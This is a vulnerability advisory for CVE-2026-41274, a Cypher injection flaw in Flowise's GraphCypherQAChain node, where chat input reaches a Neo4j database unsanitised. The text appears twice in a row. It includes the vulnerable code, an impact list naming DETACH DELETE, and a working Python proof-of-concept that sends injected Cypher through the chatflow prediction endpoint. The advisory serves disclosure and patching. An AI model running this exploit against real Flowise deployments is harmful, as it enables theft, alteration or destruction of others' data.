CVE-2026-41274

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.

Summary

The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.

Vulnerability Details

| Field | Value | |-------|-------| | Affected File | packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts | | Affected Lines | 193-219 (run method) |

Prerequisites

To exploit this vulnerability, the following conditions must be met:

1. Neo4j Database: A Neo4j instance must be connected to the Flowise server
2. Vulnerable Chatflow Configuration:
   • A chatflow containing the Graph Cypher QA Chain node
   • Connected to a Chat Model (e.g., ChatOpenAI)
   • Connected to a Neo4j Graph node with valid credentials
3. API Access: Access to the chatflow's prediction endpoint (/api/v1/prediction/{flowId})

<img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" />

Root Cause

In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:

async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
    const chain = nodeData.instance as GraphCypherQAChain
    // ...
    
    const obj = {
        query: input  // User input passed directly
    }
    
    // ...
    response = await chain.invoke(obj, { callbacks })  // Executed without escaping
}

Impact

An attacker with access to a vulnerable chatflow can:

1. Data Exfiltration: Read all data from the Neo4j database including sensitive fields
2. Data Modification: Create, update, or delete nodes and relationships
3. Data Destruction: Execute DETACH DELETE to wipe entire database
4. Schema Discovery: Enumerate database structure, labels, and properties

Proof of Concept

poc.py

#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)

Usage:
  python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""

import argparse
import json
import urllib.request
import urllib.error

def post_json(url, data, headers):
    req = urllib.request.Request(
        url,
        data=json.dumps(data).encode("utf-8"),
        headers={**headers, "Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=15) as resp:
        return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
    ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
    ap.add_argument("--token", help="Bearer token / API key if required")
    ap.add_argument(
        "--injection",
        default="MATCH (n) RETURN n",
        help="Cypher payload to inject",
    )
    args = ap.parse_args()

    payload = {
        "question": args.injection,
        "overrideConfig": {},
    }

    headers = {}
    if args.token:
        headers["Authorization"] = f"Bearer {args.token}"

    url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"

    try:
        status, body = post_json(url, payload, headers)
        print(body if body else f"(empty response, HTTP {status})")
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

Test Environment Setup

1. Start Neo4j with Docker:

docker run -d \
  --name neo4j-test \
  -p 7474:7474 \
  -p 7687:7687 \
  -e NEO4J_AUTH=neo4j/testpassword123 \
  neo4j:latest

2. Create test data (in Neo4j Browser at http://localhost:7474):…

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.

Summary

The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.

Vulnerability Details

| Field | Value | |-------|-------| | Affected File | packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts | | Affected Lines | 193-219 (run method) |

Prerequisites

To exploit this vulnerability, the following conditions must be met:

1. Neo4j Database: A Neo4j instance must be connected to the Flowise server
2. Vulnerable Chatflow Configuration:
   • A chatflow containing the Graph Cypher QA Chain node
   • Connected to a Chat Model (e.g., ChatOpenAI)
   • Connected to a Neo4j Graph node with valid credentials
3. API Access: Access to the chatflow's prediction endpoint (/api/v1/prediction/{flowId})

<img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" />

Root Cause

In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:

async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
    const chain = nodeData.instance as GraphCypherQAChain
    // ...
    
    const obj = {
        query: input  // User input passed directly
    }
    
    // ...
    response = await chain.invoke(obj, { callbacks })  // Executed without escaping
}

Impact

An attacker with access to a vulnerable chatflow can:

1. Data Exfiltration: Read all data from the Neo4j database including sensitive fields
2. Data Modification: Create, update, or delete nodes and relationships
3. Data Destruction: Execute DETACH DELETE to wipe entire database
4. Schema Discovery: Enumerate database structure, labels, and properties

Proof of Concept

poc.py

#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)

Usage:
  python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""

import argparse
import json
import urllib.request
import urllib.error

def post_json(url, data, headers):
    req = urllib.request.Request(
        url,
        data=json.dumps(data).encode("utf-8"),
        headers={**headers, "Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=15) as resp:
        return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
    ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
    ap.add_argument("--token", help="Bearer token / API key if required")
    ap.add_argument(
        "--injection",
        default="MATCH (n) RETURN n",
        help="Cypher payload to inject",
    )
    args = ap.parse_args()

    payload = {
        "question": args.injection,
        "overrideConfig": {},
    }

    headers = {}
    if args.token:
        headers["Authorization"] = f"Bearer {args.token}"

    url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"

    try:
        status, body = post_json(url, payload, headers)
        print(body if body else f"(empty response, HTTP {status})")
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

Test Environment Setup

1. Start Neo4j with Docker:

docker run -d \
  --name neo4j-test \
  -p 7474:7474 \
  -p 7687:7687 \
  -e NEO4J_AUTH=neo4j/testpassword123 \
  neo4j:latest

2. Create test data (in Neo4j Browser at http://localhost:7474):…